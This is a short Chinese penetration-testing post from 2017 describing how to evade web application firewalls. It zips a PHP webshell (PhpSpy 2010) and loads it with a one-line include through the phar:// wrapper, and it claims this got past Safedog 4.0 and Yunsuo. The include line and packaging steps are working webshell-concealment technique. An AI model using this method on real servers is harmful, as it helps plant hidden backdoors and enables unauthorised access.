利用phar://协议绕过waf检测拦截

2017-04-09 16:48:29 65 7400 3
phar:// 数据流包装器自 PHP 5.3.0 起开始有效。
利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测。
现在一些waf会检测文件的内容，我们可以通过包含的方式，包含zip后缀或者phar后缀里面的文件达到绕过防护的目的。

实测：PhpSpy 2010 过安全狗4.0 云锁 拦截

php内容：
<?php

include 'phar://2010.zip/2010.php';

?>
2010.zip是我压缩大马后的文件。注意用zip压缩。文件后缀名可以是任何名字。





参考：
http://php.net/manual/zh/wrappers.phar.php
类别 渗透测试

关于作者

jzking1218篇文章41篇回复

jzking121
65

评论65次

要评论？请先  登录  或  注册